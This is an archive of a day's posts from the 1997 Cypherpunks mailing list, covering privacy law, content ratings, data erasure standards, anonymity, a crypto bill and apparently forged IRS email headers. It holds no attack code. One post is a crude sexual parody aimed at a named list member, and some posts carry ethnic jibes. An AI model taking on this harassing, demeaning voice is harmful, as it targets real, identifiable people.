Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Tue Jul 22 08:38:33 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 22 Jul 1997 23:38:33 +0800
Subject: Fight-each-other
In-Reply-To: 
Message-ID: 



Tim May  writes:
(reasonable stuff)
> ** PICS/RSACi Voluntary Self-Rating (Text Form) ** :
> 
> Suitable for Children: yes  Age Rating: 5 years and up.
> Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
> Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
> Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
> Caucasoids: Yes  Negroids: No  Mongoloids: Yes
> Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?
> 
> --Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
> regicide, presicide, suicide, aptical foddering.
> --Contains references hurtful to persons of poundage and people of
> color.Sensitive persons are advised to skip this article.
> 
> **SUMMARY**
> Estimated number of readers qualified to read this: 1
> Composite Age Rating: 45 years
> 
> 

This is hilarious.

It also gives me an idea for a project, if anyone wants one:

Put out your own .RAT file with shit like "advocates censorship" or
"opposes use of crypto".  Put out PICS ratings against the material
on the net using this .RAT file.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From nobody at www.video-collage.com  Tue Jul 22 08:59:44 1997
From: nobody at www.video-collage.com (Unprivileged user)
Date: Tue, 22 Jul 1997 23:59:44 +0800
Subject: Privacy: Law, Custom, and Technology
In-Reply-To: 
Message-ID: <97Jul22.115025edt.32258@brickwall.ceddec.com>



On Tue, 22 Jul 1997, Bill Frantz wrote:

> As far as I can tell, law, custom, and technology are the three ways we
> have to protect our privacy.  Cypherpunks are well aware of the
> technological options, so I won't discuss them further except to note that
> they probably are not, by themselves, enough.
... 
> The last is custom.  This approach appears in cypherpunk discussions as an
> emphasis on contractual relations between people and the organizations
> receiving data.  It is this area I would like to discuss.
...
> What makes a good privacy contract?  What should you expect when you buy
> something?  What is the standard contract?  What exceptions must be clearly
> noted?  How does society decide these cultural issues?

A contract is something within law and enforcable by courts, so you aren't
really talking "custom".  And even with private contracts, not everything
is enforcable.  Other times something like a contract (IANAL) is created
such as when I buy a product unless it says "as-is" it has some implicit
warranties under the universal commercial code.

Contracts are good things, but they are cumbersome because they have to be
negotiated on the spot [like the man at computer city who wrote on the
back of his check for their "club" membership - acceptance of this ... 
says you won't send me junkmail;  They deposited the check and he sued and
won].

On a web page, I usually cannot send an E-NDA in the form they want me to
fill out (so I often leave spaces blank or with obviously bad numbers and
some comment to contact me).  This is usually less efficient than phoning.

This leaves Custom as such, a social instead of a legal contract.  The net
has been good at policing its own.  Web pages asking for email addresses
aren't supposed to forward them to spambots.  They now often state this
explicitly.  If someone says something wrong in a discussion group, they
get flamed, and if they do it enough, they are placed in everyone's kill
file.

The problem is that culture takes a while to learn, and with everyone with
different customs comes to the net, they may not see anything wrong with
doing something they are used to (for a physical world example: some local
immigrants from an area where barter was the custom tried haggling on
price-tagged items until they figured out what was going on). 

Custom is determined by evolution, not by specification.  And that cannot
be accelerated, and will be a problem until everyone has been on the net
long enough to establish a common set of manners.  How much information
does someone retain?  Enough so that a web page presents your desired
configuration without having to retype it?  Should they pass this on to a
sister site?  A different company? 

The worst thing that can happen is to codify custom.  I can see that as
the reason to avoid "Voluntary Ratings", because as soon as a misrated
(who determines?) page comes up, it becomes cause for a legal action, and
then everyone will want it to be manditory and enforced.

So a measure of politeness (indicating what the content might be so it can
be filtered) becomes a political battle, almost as if I don't go out and
say something offensive in public every day then I am not defending my
first ammendment rights - which is only slightly less bizzarre than some
of the judicial decisions.

--- reply to tzeruch - at - ceddec - dot - com ---








From whgiii at amaranth.com  Tue Jul 22 09:15:14 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 23 Jul 1997 00:15:14 +0800
Subject: "How many times erased does DOD want?"
In-Reply-To: <199707220320.LAA00623@sagan.pacific.net.sg>
Message-ID: <199707221601.LAA09913@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199707220320.LAA00623 at sagan.pacific.net.sg>, on 07/22/97 
   at 11:15 AM, "Ng Pheng Siong"  said:

>Hi,

>I'm looking for the news posting with the subject line as above. Poster
>David Hayes, comp.periphs.scsi, 24 July 91, message-id
>1991Jul24.050701.16005 at sulaco.lonestar.org.

>Got no luck with Dejanews, reference.com and Altavista.

>The topic is data recovery from magnetic media. 
>Also appreciate any pointers to info on same.

The document you want is DoD 5220.22-M (NISPOM) National Industrial
Security Program Operating Manual <--- "Learn it, Live it, Love it"

You can find the document at:

http://jya.com/nispom

The section you want is:

Chapture 8: Automated Information System Security
Section  3: Controls & Maintenance
Part   306: Maintenance
Sub-Part  : Cleaning & Sanitization Matrix

This can be found at:

http://jya.com/nispom/chapt8.htm

The matrix will be located towards the bottom of the page.

Hope this helps,


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM9TMAo9Co1n+aLhhAQGIJQP/d70SczW735437GLmeyEcs7WYzELARnoO
9BLjBMpl+cZpfdLrzzZTStyOAo+ub4b5v65QSXPkehXkNeJ4F+43BQQ1q5Ki4cXI
6Slw1ldt1p6P0hESwSZovZ65FrTMOEft3PavInvQm5LRCU/TayE21BJ80uNr1uK1
Iqy/an/bLFg=
=yGDr
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From adam at homeport.org  Tue Jul 22 09:33:45 1997
From: adam at homeport.org (Adam Shostack)
Date: Wed, 23 Jul 1997 00:33:45 +0800
Subject: Queen of Pseudononymity
Message-ID: <199707221612.MAA17707@homeport.org>



http://customnews.cnn.com/cnews/pna.show_story?p_art_id=186693&p_section_name=Sci-Tech


British Queen Admits to Being a Keen Web Surfer

NewsBytes
22-JUL-97

LONDON, ENGLAND, 1997 JUL 22 (Newsbytes) -- By Sylvia Dennis.
Buckingham Palace's press office has revealed that one of the reasons
for the opening of the Royal World Wide Web site at
http://www.royal.gov.uk in March of this year was Queen Elizabeth's
fondness of the Internet.

According to press reports in the serious UK press over the weekend,
both The Queen and her husband, HRH Prince Phillip, The Duke of
Edinburgh, are keen users of the Internet. The Queen is apparently
using Internet e-mail to keep in touch with favored UK citizens.

Rather than use the obvious e-mail address of
one at buckinghampalace.co.uk, however The Queen is apparently using a
number of pseudonyms to hide her true identity.  Only the recipients
of her e-mail are alleged to know who is really behind their messages.


-- 
He has erected a multitude of new offices, and sent hither swarms of
officers to harrass our people, and eat out their substance.






From sunder at brainlink.com  Tue Jul 22 09:34:22 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 23 Jul 1997 00:34:22 +0800
Subject: Keepers of the keys
In-Reply-To: <19970721180611.27600@bywater.songbird.com>
Message-ID: 



On Mon, 21 Jul 1997, Kent Crispin wrote:

> Right.  So those people simply don't count, and might as well be
> eliminated.

Butthead: Whoa!  That was cool!
Bevis: I like stuff that's like, um, you know, cool, huh huh, huh huh. 
Butthead: Me too, but I hate stuff that sucks
Bevis: Yeah, yeah, huh huh, huh huh.
Butthead: huh huh, huh huh.
Bevis: Hey Butthead, let's eliminate something...
Butthead: Yeah, let's go take a dump on Kent's head..  Huh huh.
Bevis: huh huh, huh huh...

> No, Tim obviously lives in a world rich in fantasy.  But he is a very
> clever fellow, and can be quite impressive.  

Bevis: He said fellow, huh huh, huh huh, huh huh.
Butthead: Yeah, yeah, and then he said impressive.
Bevis: We're there dude!
Butthead: Yeah, Kent is a wuss, he like works for the NSA or something
Bevis: Yeah, he works for your butt, fartknocker.
Butthead: Huh huh, huh huh, shuddup before I smack you Bevis.
Kent: I am Spookholio, come out with your passphrases down (whoa, that was
cool, yeah um, huh huh, huh huh.)
Kent: I need access to your bunghole.  Grease up now citizen unit.
Bevis: Whoa, that was cool or something
Butthead: This sucks, change the channel.
Kent: Are you threatening me? Government Access to Keys Now!
Bevis: Kent is getting lame.  Yeah, I'd rather go back to school than
       watch him.
Butthead: Yeah, what a wuss, even we wouldn't give him  our passwords.
Bevis: Yeah, let him spank his own monkey.
Butthead: Huh huh, yeah, huh huh.
Kent: I am the great Spookholio, boioioioing!  I need access to your butt.
Butthead: Shut up Kent before I smack you.
Kent: Bend over now! And pay for the vaseline(tm) All will bend over to
      the creat Spookholio!  I need GAK for my bunghole.
Bevis: yeah, yeah, shutup asswipe.
Butthead: You fart knocker.
Bevis: Hey, Butthead, let's leave or something... this sucks...
Butthead, Uh, huh huh, yeah Kent, go take a dump or something
Bevis: He's like, pretending to be Cornholio or something...
Kent: Are you threatening me?
Butthead: yeah, what a lame poser, dude...
Bevis: this sucks
Kent: You buttmunch.  I'll get Louie Freeh after you..
Butthead: Kent you schill, you suck choads.
Bevis: yeah, yeah...
Butthead: Is that government shit coming out of his mouth?
Bevis: yeah, he's got, like diarhea of the mouth or something...
B&B: Diareah, cha cha cha
B&B: Diareah, cha cha cha
B&B: Diareah, cha cha cha
B&B: Huh huh, huh huh, huh huh, that was cool!

... Now back to more regularly scheduled MTV videos ....

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From jeffb at issl.atl.hp.com  Tue Jul 22 10:10:17 1997
From: jeffb at issl.atl.hp.com (Jeff Barber)
Date: Wed, 23 Jul 1997 01:10:17 +0800
Subject: Fight-each-other
In-Reply-To: <97Jul22.110332edt.32258@brickwall.ceddec.com>
Message-ID: <199707221715.NAA30596@jafar.issl.atl.hp.com>



Mismatched NFS IDs writes:

> I think something more is going on, at least with the "conserative
> movement", but I also watch National Empowerment Television :).
> 
> Grover Norquist has coined the term "The Leave-us-alone Coalition" that
> simply wants the government out of everything they have no constitutional
> authority to be in.  They perceive government as an intrinsic evil and the
> only thing that should be done is to slay the dragon.  I would number
> Eagle Forum and the Progress and Freedom Foundation in this group.

Sure, *they* want to be left alone, but I wouldn't trust these
groups to leave the rest of us alone.  They'll want to make sure
that we're not ingesting any controlled substances, and that we're
not shacking up with an unmarried partner, and that we're not peeking
at porn or engaging in "abnormal" sexual practices, and that we pray
to the right god at the right time, and so forth.  These groups are
not friends of liberty.  Like the traditional "liberals", they seek
not so much to slay the dragon as to replace it with their own.  If
they currently happen to agree with "us" on net issues, fine.  
Otherwise, give me true libertarians anyday.


[snip]
> The first group are deserting the Republican party as such in droves (look
> for a Libertarian party pickup if the party avoids being too libertine). 

Hah!  Can anyone imagine the Libertarians supporting an Anti-abortion
amendment, or a school prayer amendment or a flag-burning amendment?
No, I don't think these folks will be joining the Libertarian party
anytime soon.


-- Jeff






From dlv at bwalk.dm.com  Tue Jul 22 10:54:55 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 23 Jul 1997 01:54:55 +0800
Subject: disappointing honeymoon!
Message-ID: 



enoch at sim.zipcon.net (Mike Duvos) wrote:
>IceAngel (geode at netcom.com) wrote:
>
>: While this is actually very humorous in many ways (well, it IS, Mike!)
>
>It's not half as funny as the daily bot-generated insults directed at Tim
>May on the Cypherpunks list, allegedly by Tim's good friend Dr. Dimitri
>Vulis.  They even arrive with little ascii pictures attached. 
>
>Compared to Dr. Vulis, J.Goat/Motherhood/mikeduvos/mrs_mike_duvos is a
>very lame pretender, and probably a dandruff-covered Armenian to boot. 

Naw, I'm not fightimh with Ray anymore.

>
>: heh....you probably don't know Mike very well.
>
>That is correct.  After all, it's just little zeros and ones. 
>
>--
>     Mike Duvos         $    PGP 2.6 Public Key available     $
>     enoch at zipcon.com   $    via Finger                       $
>         {Free Cypherpunk Political Prisoner Jim Bell}

Free Cypherpunk Political Prisoner Jim Bell now!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From enoch at zipcon.net  Tue Jul 22 10:57:34 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Wed, 23 Jul 1997 01:57:34 +0800
Subject: Queen of Pseudononymity
In-Reply-To: <199707221612.MAA17707@homeport.org>
Message-ID: <19970722173941.32613.qmail@zipcon.net>



> Rather than use the obvious e-mail address of
> one at buckinghampalace.co.uk, however The Queen is apparently using a
> number of pseudonyms to hide her true identity.  Only the recipients
> of her e-mail are alleged to know who is really behind their messages.

I wonder if Prince Tampon is also on the Net. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From azur at netcom.com  Tue Jul 22 11:28:04 1997
From: azur at netcom.com (Steve Schear)
Date: Wed, 23 Jul 1997 02:28:04 +0800
Subject: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: 



At 5:05 PM -0700 7/20/97, Kent Crispin wrote:
>On Sun, Jul 20, 1997 at 02:48:20PM -0400, Declan McCullagh wrote:
>Can there be any doubt at all? It's obviously old cheap rhetoric
>through and through, not even Bill Clinton at his worst could match
>it.

Speaking of Clinton,

"If Clinton blows anymore smoke up my ass, my sphincter is going to sue
Philip-Morris."  --Dennis Miller







From sunder at brainlink.com  Tue Jul 22 12:01:24 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 23 Jul 1997 03:01:24 +0800
Subject: Book:The Complete Guide to Offshore Money Havens
Message-ID: 



Just found this:

Title:     The Complete Guide to Offshore Money Havens
Author:    Jerome Schneider
ISDB:      0-7615-0451-6
Price:     $29.95USD MSRP
Publisher: Prima Publishing.
           Copryight 1996 by author.

"How to make Millions, protect your privacy and legally avoid taxes -
Whether your net worth is $100 or $100 million" is the quote on the cover.

TOC:

1. Bankrupcy of America
2. The Beacon Offshore
3. The Open Door: Doing Business Offshore
4. The Profit Incentive
5. In Pursuit of True Financial Privacy
6. Offshore Tax Protection
7. Protecting Your Assets
8. Eight Steps to Offshore Success
9. Offshore Money Havens: Where to Go
10. Inversons on File
11. Getting started the Easy Way.

Appendixes:
1. How to Open a Foreign Bank Account
2. Offshore Money Havens from Canada
3. Addresses
4. Forms.

Anyone know if this book is any good?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From kent at songbird.com  Tue Jul 22 12:18:19 1997
From: kent at songbird.com (Kent Crispin)
Date: Wed, 23 Jul 1997 03:18:19 +0800
Subject: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <19970722113622.25813@bywater.songbird.com>



On Tue, Jul 22, 1997 at 09:05:23AM -0700, Steve Schear wrote:
> At 5:05 PM -0700 7/20/97, Kent Crispin wrote:
> >On Sun, Jul 20, 1997 at 02:48:20PM -0400, Declan McCullagh wrote:
> >Can there be any doubt at all? It's obviously old cheap rhetoric
> >through and through, not even Bill Clinton at his worst could match
> >it.
> 
> Speaking of Clinton,
> 
> "If Clinton blows anymore smoke up my ass, my sphincter is going to sue
> Philip-Morris."  --Dennis Miller

:-)

I should have used Freeh for an example.


-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From nobody at REPLAY.COM  Tue Jul 22 14:39:12 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 23 Jul 1997 05:39:12 +0800
Subject: CDT's Berman Opposes Online Anonymity
In-Reply-To: <199707211648.SAA11236@basement.replay.com>
Message-ID: <199707222127.XAA17893@basement.replay.com>



Tim May wrote:
> In fairness to Berman, in 1985 very few people were thinking seriously
> about these issues, and Chaum's paper (presumably the one published that
> year in "Communicatons of the ACM") was probably seen as far-off
> technology then.
> 
> I'd be more interested to see Berman's more recent views on online
> anonymity.
> 
> It might well be that in 1985 he saw little hope for technological
> solutions, and understandably placed more faith in legislative solutions.
> 
> Now that the technology for anonymity is widely deployed, this situation
> has changed.

I think we've all been thru this before, with the Esther Dyson flap and
so on.  That was then, this is now.

Online anonymity was not much of a real issue ten years ago, and I doubt
most readers had formed much of an opinion on it.  On private BBSes it
was prevelant, and on academic and corporate networks it was virtually
nonexistant.  As these networks began to merge, not surprisingly people
came down on both sides of the issue, but their opinions were backed more
by convention than by the facts of the situation.

I think that as time has progessed, people have come to see the reasons
behind it.  Five years ago, there was considerable debate over whether
anon.penet.fi should exist, today almost everyone takes for granted the
right to post anonymously.  For all the animosity he has caused, Spamford
Wallace has shown us why you don't want people to know your email address.
Some of you may remember the comments made on the list by a certain law
professor, who said he wouldn't post to usenet because he didn't want to
get junk mail.  In hindsight we can laugh at that remark in light of the
obvious solution.






From nobody at REPLAY.COM  Tue Jul 22 14:41:30 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 23 Jul 1997 05:41:30 +0800
Subject: CDT's Berman Opposes Online Anonymity
In-Reply-To: <199707211648.SAA11236@basement.replay.com>
Message-ID: <199707222133.XAA18575@basement.replay.com>



> Now that the technology for anonymity is widely deployed, this situation
> has changed.

Is it so, or rather is it that the technology has been deployed in response
to a changing situation?






From jsmith58 at hotmail.com  Tue Jul 22 16:09:02 1997
From: jsmith58 at hotmail.com (John Smith)
Date: Wed, 23 Jul 1997 07:09:02 +0800
Subject: CDT's Berman Opposes Online Anonymity
Message-ID: <199707222257.PAA02445@f30.hotmail.com>



There is a project on anonymous communications by the
AAAS, very respected scientific organization.  You can take
a survey about it at http://www.aaas.org/spp/anon/.

"Bill


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com






From amp at pobox.com  Tue Jul 22 17:28:06 1997
From: amp at pobox.com (amp at pobox.com)
Date: Wed, 23 Jul 1997 08:28:06 +0800
Subject: geodesic -- FPGAs
In-Reply-To: 
Message-ID: 



Scientific American had a fairly high level treatment of FPGAs recently. 
They mentioned ways they could be used in conjuction with standard CPUs. The author 
predicts that within 5 or so years, we'll be seeing hybrid systems using FPGAs in 
common use.




   
------------------------
  From: Decius 6i5 
  Subject: geodesic -- FPGAs 
  Date: Mon, 21 Jul 1997 06:58:56 -0400 (EDT) 
  To: cypherpunks at toad.com


> I've been reading the Geodesic systems thread with much interest... I've
> been playing around with FPGAs recently, Field Programmable Gate Arrays,
> which list members should be familiar with due to discussions concerning
> cheap hardware crypto. Why not replace your entire architecture with
> reconfigurable hardware? This is sort of like Java turned upside down.
> Instead of having generalized code running on a specialized "virtual
> machine." (Which is inefficient as hell) Why not ship the architecture
> your program runs on along with the program. Liquid architecture. If the
> FPGA's are standardized (not likely, but..) you could run whatever kind of
> software you wanted and the architecture would automatically reconfigure
> to run the code and would be optimized for your application. There are
> some challenges with muti-tasking but I think you could manage the
> gate-space like you do memory. Web searches on FGPAs will bring you to
> research being done on this sort of thing...
> 
> -- 
>         */^\*  Tom Cross AKA Decius 615 AKA The White Ninja  */^\* 
>                        Decius at ninja.techwood.org
> 
> "If the economic, social and political conditions... do not offer a basis 
> for the realization of individuality, while at the same time people have 
> lost those ties which gave them security... powerful tendencies arise to 
> escape from freedom into submission." -- Erich Fromm
> 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp at pobox.com
Date: 07/21/97
Time: 08:02:58
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------






From eric at clever.net  Tue Jul 22 19:04:25 1997
From: eric at clever.net (Cyberdog)
Date: Wed, 23 Jul 1997 10:04:25 +0800
Subject: List of Reliable Royal Remailers
Message-ID: 




   The Queen sends e-mail anonymously through a government pool system
   that does not depend upon the user having a regular "handle" - such as
   One at Buckhouse.Com. It resets the user's name with every message.

Open questions:
    Address
    Any Peers

http://www.sunday-times.co.uk/news/pages/Sunday-Times/stinwenws01017.html?134926
0







From nobody at rigel.cyberpass.net  Tue Jul 22 19:14:47 1997
From: nobody at rigel.cyberpass.net (Nobody)
Date: Wed, 23 Jul 1997 10:14:47 +0800
Subject: Fight-each-other
In-Reply-To: <199707221715.NAA30596@jafar.issl.atl.hp.com>
Message-ID: <97Jul22.220455edt.32257@brickwall.ceddec.com>



Regarding the subject, Q.E.D.

On Tue, 22 Jul 1997, Jeff Barber wrote:

> > Grover Norquist has coined the term "The Leave-us-alone Coalition" that
> > simply wants the government out of everything they have no constitutional
> > authority to be in.  They perceive government as an intrinsic evil and the
> > only thing that should be done is to slay the dragon.  I would number
> > Eagle Forum and the Progress and Freedom Foundation in this group.
> 
> Sure, *they* want to be left alone, but I wouldn't trust these
> groups to leave the rest of us alone.  They'll want to make sure
> that we're not ingesting any controlled substances, and that we're
> not shacking up with an unmarried partner, and that we're not peeking
> at porn or engaging in "abnormal" sexual practices, and that we pray
> to the right god at the right time, and so forth.  These groups are
> not friends of liberty.  Like the traditional "liberals", they seek
> not so much to slay the dragon as to replace it with their own.  If
> they currently happen to agree with "us" on net issues, fine.  
> Otherwise, give me true libertarians anyday.

You either missed or paraphrased my second paragraph.  My point is
precisely that the rift is between those who want to use government to
regulate the things you mention, and those who don't think it is the
government's business, whether they consider them good or bad.  The
organizations I mentioned here specifically don't want the federal
government trying to control these things.

In general, sacrificing one's own liberty in an attempt to limit someone
else's behavior when it doesn't affect anyone else, even if it is
self-destructive, is silly. 

Both France and the United States had revolutions at about the same time.
One eventually established liberty and the other a reign of terror, but
both thought they were "true libertarians".

> > The first group are deserting the Republican party as such in droves (look
> > for a Libertarian party pickup if the party avoids being too libertine). 
> 
> Hah!  Can anyone imagine the Libertarians supporting an Anti-abortion
> amendment, or a school prayer amendment or a flag-burning amendment?
> No, I don't think these folks will be joining the Libertarian party
> anytime soon.

Political parties are defined by their members and a membership change
would result in a policy change.  I can imagine a 10th ammendment style
anti-abortion ammendment which would overturn Roe v. Wade and remove the
federal government from the debate.  I can also imagine a similar
ammendment returning us to "public schools" instead of the current
"government schools" which would have prayers or not as part of their
local policy.  And I have heard many "conservative Republicans" say that
they should trivially alter the constitution for something like flag
descration. 

But I will even go further.  There is such an organization as Libertarians
for Life - where you stand on the abortion question is dependent on when
you think a human life becomes a person with constitutional protections,
not on whether you think there should be laws against murder, or whether
people who want medical procedures should be able to have them, which
there is almost unanimous agreement on.  The rift in the Republican party
will cause a similar one in the Libertarian party, between the Actonite
and Libertine and even the anarchical wings.  Even libertarinaism is not a
point, but a continuum.  True libertarians all agree that my rights end
where yours begin, but not on exactly where that line is, and rights are
only one side of the equation.  Liberty is precious and a delicate balance
which is why it is so rare.

Liberty has a cost of personal responsibility.  Ingesting controlled
substances can affect me if they drive or work for me.  Remember that the
other side of this is that I would be able to personally evaluate all
these things when deciding to hire someone I intend for a long term
position - they can have all their privacy but no job, or would have to
act under my definition of responsibility - and you would be equally free
to hire people who met your standards.

Or to update the old joke, A socialist is a libertarian who has overdosed
or injured someone during a blackout, had a child out of wedlock, or has
contracted a STD.  They probably start praying too :). 






From dkp at iname.com  Tue Jul 22 20:34:54 1997
From: dkp at iname.com (Dave K-P)
Date: Wed, 23 Jul 1997 11:34:54 +0800
Subject: Cops, Spies Fail to Slow Crypto Bill
Message-ID: <33D577C5.7327@iname.com>



Security and Freedom through Encryption Act passed at a mark-up
meeting of the House International Relations Committee.

	http://www.wired.com/news/news/politics/story/5399.html






From tcmay at got.net  Tue Jul 22 20:47:44 1997
From: tcmay at got.net (Tim May)
Date: Wed, 23 Jul 1997 11:47:44 +0800
Subject: DEATH TO TYRANTS
Message-ID: 



By the way, I don't recall it being mentioned that the message from "IRS
Inspection" had an interesting subject line: DEATH TO TYRANTS.

I don't know if this was on the message others received, but it was on my
version. Included below are the headers.

Odd that this would be used, and probably not coincidental that the famous
quote has been in my most recent .sig for only a few months, and only
_after_ the Bell arrest (as far as I can recall). It's unlikely the IRS
"Inspectors" had any mail from me via Bell's computer(s) with this quote in
it.

--Tim May


>Received: from you for tcmay
> with Cubic Circle's cucipop (v1.13 1996/12/26) Fri Jul 18 19:25:02 1997
>X-From_: irsnwpr at net.insp.irs.gov Fri Jul 18 15:30:05 1997
>Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
>[204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28395 for
>; Fri, 18 Jul 1997 15:29:59 -0700
>X-Real-To: 
>Received: by tcs_gateway1.treas.gov id AA19560
>  (InterLock SMTP Gateway 3.0 for tcmay at got.net);
>  Fri, 18 Jul 1997 18:36:21 -0400
>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
>  Fri, 18 Jul 1997 18:36:21 -0400
>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
>  Fri, 18 Jul 1997 18:36:21 -0400
>Date: Thu, 17 Jul 1997 12:18:35 -0400
>From: IRS Inspection 
>Message-Id: <199707171618.MAA02670 at net.insp.irs.gov>
>To: Interested-Parties at net.insp.irs.gov
>Subject: DEATH TO TYRANTS
>
>
>
>					United States Attorney
>					Western District of Washington
>
>FOR IMMEDIATE RELEASE
>July 18, 1997
>
>JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
>SECURITY NUMBERS
....

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Tue Jul 22 21:40:36 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 23 Jul 1997 12:40:36 +0800
Subject: DEATH TO TYRANTS
In-Reply-To: 
Message-ID: <199707230432.XAA18997@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----


Hmmm... looks like it may be a forged header here:

>Received: from you for tcmay
> with Cubic Circle's cucipop (v1.13 1996/12/26) Fri Jul 18 19:25:02 1997

The received line above looks rather suspicious.


In , on 07/22/97 
   at 08:44 PM, Tim May  said:

>By the way, I don't recall it being mentioned that the message from "IRS
>Inspection" had an interesting subject line: DEATH TO TYRANTS.

>I don't know if this was on the message others received, but it was on my
>version. Included below are the headers.

>Odd that this would be used, and probably not coincidental that the
>famous quote has been in my most recent .sig for only a few months, and
>only _after_ the Bell arrest (as far as I can recall). It's unlikely the
>IRS "Inspectors" had any mail from me via Bell's computer(s) with this
>quote in it.

>--Tim May


>>Received: from you for tcmay
>> with Cubic Circle's cucipop (v1.13 1996/12/26) Fri Jul 18 19:25:02 1997
>>X-From_: irsnwpr at net.insp.irs.gov Fri Jul 18 15:30:05 1997
>>Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
>>[204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28395 for
>>; Fri, 18 Jul 1997 15:29:59 -0700
>>X-Real-To: 
>>Received: by tcs_gateway1.treas.gov id AA19560
>>  (InterLock SMTP Gateway 3.0 for tcmay at got.net);
>>  Fri, 18 Jul 1997 18:36:21 -0400
>>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
>>  Fri, 18 Jul 1997 18:36:21 -0400
>>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
>>  Fri, 18 Jul 1997 18:36:21 -0400
>>Date: Thu, 17 Jul 1997 12:18:35 -0400
>>From: IRS Inspection 
>>Message-Id: <199707171618.MAA02670 at net.insp.irs.gov>
>>To: Interested-Parties at net.insp.irs.gov
>>Subject: DEATH TO TYRANTS
>>
>>
>>
>>					United States Attorney
>>					Western District of Washington
>>
>>FOR IMMEDIATE RELEASE
>>July 18, 1997
>>
>>JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
>>SECURITY NUMBERS
>.....

>There's something wrong when I'm a felon under an increasing number of
>laws. Only one response to the key grabbers is warranted: "Death to
>Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms,
>zero W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
>markets, Higher Power: 2^1398269     | black markets, collapse of
>governments. "National borders aren't even speed bumps on the information
>superhighway."





- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
